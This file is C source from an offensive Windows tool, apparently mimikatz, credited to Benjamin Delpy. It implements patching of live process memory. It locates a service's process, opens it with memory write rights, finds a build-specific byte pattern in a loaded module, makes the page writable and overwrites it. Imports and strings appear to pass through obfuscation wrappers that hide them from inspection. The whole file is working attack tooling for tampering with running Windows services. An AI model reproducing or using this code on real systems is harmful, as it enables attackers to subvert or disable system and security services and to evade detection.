/*	Benjamin DELPY `gentilkiwi`
	http://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "kull_m_patch.h"
#include "core\string_crypt.h"

BOOL kull_m_patch(PKULL_M_MEMORY_SEARCH sMemory, PKULL_M_MEMORY_ADDRESS pPattern, SIZE_T szPattern, PKULL_M_MEMORY_ADDRESS pPatch, SIZE_T szPatch, LONG offsetOfPatch, PKULL_M_PATCH_CALLBACK pCallBackBeforeRestore, int argc, wchar_t * args[], NTSTATUS * pRetCallBack)
{
	BOOL result = FALSE, resultBackup = !pCallBackBeforeRestore, resultProtect = TRUE;
	KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL};
	KULL_M_MEMORY_ADDRESS destination = {NULL, sMemory->kull_m_memoryRange.kull_m_memoryAdress.hMemory};
	KULL_M_MEMORY_ADDRESS backup = {NULL, &hLocalMemory};
	MEMORY_BASIC_INFORMATION readInfos;
	NTSTATUS status;
	DWORD flags, oldProtect = 0, tempProtect = 0;
	if(kull_m_memory_search(pPattern, szPattern, sMemory, TRUE))
	{
		destination.address = (LPBYTE) sMemory->result + offsetOfPatch;

		if(!resultBackup)
			if(backup.address = API(KERNEL32, LocalAlloc)(LPTR, szPatch))
				resultBackup = kull_m_memory_copy(&backup, &destination, szPatch);

		if(resultBackup)
		{
			if(kull_m_memory_query(&destination, &readInfos))
			{
				flags = readInfos.Protect & ~0xff;
				if((readInfos.Protect & 0x0f) && ((readInfos.Protect & 0x0f) < PAGE_READWRITE))
					tempProtect = PAGE_READWRITE;
				else if((readInfos.Protect & 0xf0) && ((readInfos.Protect & 0xf0) < PAGE_EXECUTE_READWRITE))
					tempProtect = PAGE_EXECUTE_READWRITE;
				
				if(tempProtect)
					resultProtect = kull_m_memory_protect(&destination, szPatch, tempProtect | flags, &oldProtect);

				if(resultProtect)
				{
					if(result = kull_m_memory_copy(&destination, pPatch, szPatch))
					{
						if(pCallBackBeforeRestore)
						{
							status = pCallBackBeforeRestore(argc, args);
							if(pRetCallBack)
								*pRetCallBack = status;
							result = kull_m_memory_copy(&destination, &backup, szPatch);
						}
					}
					if(oldProtect)
						kull_m_memory_protect(&destination, szPatch, oldProtect, NULL);
				}
			}
			if(backup.address)
				API(KERNEL32, LocalFree)(backup.address);
		}
	}
	return result;
}

PKULL_M_PATCH_GENERIC kull_m_patch_getGenericFromBuild(PKULL_M_PATCH_GENERIC generics, SIZE_T cbGenerics, DWORD BuildNumber)
{
	SIZE_T i;
	PKULL_M_PATCH_GENERIC current = NULL;

	for(i = 0; i < cbGenerics; i++)
	{
		if(generics[i].MinBuildNumber <= BuildNumber)
			current = &generics[i];
		else break;
	}
	return current;
}

BOOL kull_m_patch_genericProcessOrServiceFromBuild(PKULL_M_PATCH_GENERIC generics, SIZE_T cbGenerics, PCWSTR processOrService, PCWSTR moduleName, BOOL isService) // to do for process
{
	BOOL result = FALSE;
	SERVICE_STATUS_PROCESS ServiceStatusProcess;
	PKULL_M_MEMORY_HANDLE hMemory;
	KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL};
	KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModule;
	HANDLE hProcess;
	KULL_M_MEMORY_ADDRESS
		aPatternMemory = {NULL, &hLocalMemory},
		aPatchMemory = {NULL, &hLocalMemory};
	KULL_M_MEMORY_SEARCH sMemory;

	PKULL_M_PATCH_GENERIC currenReferences;
	if(currenReferences = kull_m_patch_getGenericFromBuild(generics, cbGenerics, MIMIKATZ_NT_BUILD_NUMBER))
	{
		DWORD pid = 0;
		if( isService )
		{
			if(kull_m_service_getUniqueForName(processOrService, &ServiceStatusProcess))
			{
				if(ServiceStatusProcess.dwCurrentState >= SERVICE_RUNNING)
				{
					pid = ServiceStatusProcess.dwProcessId;
				}
				else
					PRINT_ERROR(L"Service is not running\n");
			}
			else
				PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName");
		}
		else
			pid = (DWORD)processOrService;
		if(hProcess = API(KERNEL32, OpenProcess)( PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, pid))
		{
			if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &hMemory))
			{
				if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, moduleName, &iModule))
				{
					sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModule.DllBase;
					sMemory.kull_m_memoryRange.size = iModule.SizeOfImage;
					do
					{
						aPatternMemory.address = currenReferences->Search.Pattern;
						aPatchMemory.address = currenReferences->Patch.Pattern;
						if(result = kull_m_patch(&sMemory, &aPatternMemory, currenReferences->Search.Length, &aPatchMemory, currenReferences->Patch.Length, currenReferences->Offsets.off0, NULL, 0, NULL, NULL))
						{
							kprintf(_WCS_("\"%s\" service patched\n"), processOrService);
							result = TRUE;
						}
						else
						{
							PRINT_ERROR_AUTO(L"kull_m_patch");
						}
						currenReferences--;
					} while( currenReferences >= generics && currenReferences->MinBuildNumber == currenReferences[1].MinBuildNumber );
				} else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName");
				kull_m_memory_close(hMemory);
			}
		} else PRINT_ERROR_AUTO(L"OpenProcess");
	} else PRINT_ERROR(L"Incorrect version in references\n");

	return result;
}